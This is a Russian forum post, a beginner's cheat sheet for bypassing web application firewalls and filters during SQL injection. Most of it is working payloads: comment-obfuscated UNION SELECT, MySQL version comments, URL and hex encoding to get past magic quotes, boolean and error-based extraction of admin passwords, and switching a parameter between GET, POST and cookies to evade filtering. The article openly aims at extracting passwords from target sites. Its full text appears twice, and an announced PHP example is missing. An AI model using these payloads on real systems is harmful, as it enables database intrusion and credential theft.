Pirotexnik
22.06.2012, 03:06
[INTRO]Доброго времени суток. Эта статья будет посвящена обходу разнообразных фильтров и WAF'ов во время проведения SQLi.
Если вы читаете эту статью - что это вы уже знаете.
В самом начале хочу сказать, что ничего сверх-нового я тут не напишу. Эта статья от новичка для новичков. Просто я собрал все известные мне способы воедино.
Ну что, погнали?
[ВХОЖДЕНИЯ]Все, или почти все, вафы реализуются с помощью вхождений.
Допустим есть переменная id, которая принимается REQUEST'ом, и сканится на наличие инъекции.
Переменная сканируется на наличее следующих вхождений:
union select
Что такое вхождение?
Это некий параметр который кем-то задан. А в строке, которую сканируют - ищутся совпадения с тем, что было зарание определено. Например:
Array ( [0] => Array ( [0] => ing [1] => 6 ) )
Первое вхождение после 6-го символа. Возвращается либо 0(false) либо 1(true)
Регистро-независимая функция.
Простой пример фильтра на PHP:
Вот и все, для новичка, казалось бы, можно опускать руки, НО! У нас же есть коменнтарии, которые никак не влияют на сам запрос к базе, зато влияют на строку. К примеру:
site.com/ucp.php?id=1+union+select+user()+--+
$id=1 union select user() --
Все, запалились мы Но мы поступим по другому.
site.com/ucp.php?id=1+union/**/select+user()+--+
$id=1 union/**/select user() --
Все, вхождений нету, вытаскиваем пароли
[МЕТОДА ОБХОДА]В основном фильтры сканируют либо сам запрос (то, что шлет браузер), либо уже содержимое переменных, которые были заданы запросом.
Обход фильтрации пробелов:
filtered: id=1+and+1=2+--+
bypassed: id=(1)and(1)=2
bypassed: id=1/**/and/**/1=2
bypassed: id=1/*!and*/1=2
bypassed: id=%31%20%61%6E%64%20%31%3D%32%20%2D%2D%20
%31%20%61%6E%64%20%31%3D%32%20%2D%2D%20 эквивалентно 1 and 1=2 --
Последний способ побеждает некоторые фильтры первого типа. Это обычное URL кодирование.
Обход фильтрации комбинаций unoin select:
filtered: id=1+union+select+user()+--+
bypassed: id=1/**/union/**/select/**/user()/**/--/**/
bypassed: id=1/*!union*/select+user()+--+
Далее вы уже можете сами пофантозировать с формами обхода способом комментариев.
Хочу пояснить как работаю комментарии:
/* - открыть многострочный комментарий
*/ - закрыть многострочный комметарий
! - выполнить код, который после знака
Например:
/*!
exec
*/
/*comment*/
Более умные фильтрации:
А что же делать, если во всей строке ищутся вхождений union и select?
Тоесть не важно в какой последовательносте они стоят, если ОБА слова есть в строке - облом.
Тогда от одного прийдется избавится
filtered: id=1/*!uniON*//**//*!SeleCT*/pass+from+admins+where+id=1+--+
bypassed: id=-1 || (select+pass+from+admins+where+id=1)='admin'
Нужно знать таблицу, колонку, и какие-то данные (любые).
Поэтому я предпочитаюю Error Based:
1+or+1+group+by+mid(user(),rand(0)|0,64)+having+av g(0)+--+
К тому же, можно обойтись и без select
[MAGIC_QUOTES]Очень часто магические кавычки, или addslashes() мешает нам работать. На помощь приходит старый добрый HEX. Например:
?id=1+union+select+pass+from+users+where+name='adm in'+--+
Если MQ=on, то запрос будет примерно таким:
mysql("SELECT * from news where news_id=1 union select pass from users where name=
\'
admin
\'
--
Обходим хексом:
?id=1+union+select+pass+from+users+where+name=0x61 646D696E+--+
mysql("SELECT * from news where news_id=1 union select pass from users where name=0x61646D696E -- ");
Не забывайте добавить 0х, что бы мускул понял, что мы скармливаем ему хекс.
[АУТРО]Не забывайте, что почти всегда можно найти замену тому или иному элементу:
OR -- ||
AND -- &&
WHERE -- HAVING
ORDER -- GROUP
+ -- /**/
и тд.
[Игры с запросами]Дело в том, что обычные WAF фильтруют в основном POST\GET запросы. Или же очень строго фильтрую GET и обходимо фильтруют POST.
Фишка в том, что есть параметр принимается с помощью _REQUEST - его можно отправить 2(по дефолту в новых версиях) или 4-мя (при особых конфигах) способами.
Порядок такой: GPCS
гет, пост, куки, сессия.
Последующий перезатирает предедущий. Очень помогает, при обходах. Например ну никак гетом не можешь обойти - попробуй отправить постом.
Вот собственно и все. Критика приветствуется, статья будет дополнятся\изменятся в виду приобретения мною опыта и вашей критики.
Спасибо
Если вы читаете эту статью - что это вы уже знаете.
В самом начале хочу сказать, что ничего сверх-нового я тут не напишу. Эта статья от новичка для новичков. Просто я собрал все известные мне способы воедино.
Ну что, погнали?
[ВХОЖДЕНИЯ]Все, или почти все, вафы реализуются с помощью вхождений.
Допустим есть переменная id, которая принимается REQUEST'ом, и сканится на наличие инъекции.
Переменная сканируется на наличее следующих вхождений:
union select
Что такое вхождение?
Это некий параметр который кем-то задан. А в строке, которую сканируют - ищутся совпадения с тем, что было зарание определено. Например:
Array ( [0] => Array ( [0] => ing [1] => 6 ) )
Первое вхождение после 6-го символа. Возвращается либо 0(false) либо 1(true)
Регистро-независимая функция.
Простой пример фильтра на PHP:
Вот и все, для новичка, казалось бы, можно опускать руки, НО! У нас же есть коменнтарии, которые никак не влияют на сам запрос к базе, зато влияют на строку. К примеру:
site.com/ucp.php?id=1+union+select+user()+--+
$id=1 union select user() --
Все, запалились мы Но мы поступим по другому.
site.com/ucp.php?id=1+union/**/select+user()+--+
$id=1 union/**/select user() --
Все, вхождений нету, вытаскиваем пароли
[МЕТОДА ОБХОДА]В основном фильтры сканируют либо сам запрос (то, что шлет браузер), либо уже содержимое переменных, которые были заданы запросом.
Обход фильтрации пробелов:
filtered: id=1+and+1=2+--+
bypassed: id=(1)and(1)=2
bypassed: id=1/**/and/**/1=2
bypassed: id=1/*!and*/1=2
bypassed: id=%31%20%61%6E%64%20%31%3D%32%20%2D%2D%20
%31%20%61%6E%64%20%31%3D%32%20%2D%2D%20 эквивалентно 1 and 1=2 --
Последний способ побеждает некоторые фильтры первого типа. Это обычное URL кодирование.
Обход фильтрации комбинаций unoin select:
filtered: id=1+union+select+user()+--+
bypassed: id=1/**/union/**/select/**/user()/**/--/**/
bypassed: id=1/*!union*/select+user()+--+
Далее вы уже можете сами пофантозировать с формами обхода способом комментариев.
Хочу пояснить как работаю комментарии:
/* - открыть многострочный комментарий
*/ - закрыть многострочный комметарий
! - выполнить код, который после знака
Например:
/*!
exec
*/
/*comment*/
Более умные фильтрации:
А что же делать, если во всей строке ищутся вхождений union и select?
Тоесть не важно в какой последовательносте они стоят, если ОБА слова есть в строке - облом.
Тогда от одного прийдется избавится
filtered: id=1/*!uniON*//**//*!SeleCT*/pass+from+admins+where+id=1+--+
bypassed: id=-1 || (select+pass+from+admins+where+id=1)='admin'
Нужно знать таблицу, колонку, и какие-то данные (любые).
Поэтому я предпочитаюю Error Based:
1+or+1+group+by+mid(user(),rand(0)|0,64)+having+av g(0)+--+
К тому же, можно обойтись и без select
[MAGIC_QUOTES]Очень часто магические кавычки, или addslashes() мешает нам работать. На помощь приходит старый добрый HEX. Например:
?id=1+union+select+pass+from+users+where+name='adm in'+--+
Если MQ=on, то запрос будет примерно таким:
mysql("SELECT * from news where news_id=1 union select pass from users where name=
\'
admin
\'
--
Обходим хексом:
?id=1+union+select+pass+from+users+where+name=0x61 646D696E+--+
mysql("SELECT * from news where news_id=1 union select pass from users where name=0x61646D696E -- ");
Не забывайте добавить 0х, что бы мускул понял, что мы скармливаем ему хекс.
[АУТРО]Не забывайте, что почти всегда можно найти замену тому или иному элементу:
OR -- ||
AND -- &&
WHERE -- HAVING
ORDER -- GROUP
+ -- /**/
и тд.
[Игры с запросами]Дело в том, что обычные WAF фильтруют в основном POST\GET запросы. Или же очень строго фильтрую GET и обходимо фильтруют POST.
Фишка в том, что есть параметр принимается с помощью _REQUEST - его можно отправить 2(по дефолту в новых версиях) или 4-мя (при особых конфигах) способами.
Порядок такой: GPCS
гет, пост, куки, сессия.
Последующий перезатирает предедущий. Очень помогает, при обходах. Например ну никак гетом не можешь обойти - попробуй отправить постом.
Вот собственно и все. Критика приветствуется, статья будет дополнятся\изменятся в виду приобретения мною опыта и вашей критики.
Спасибо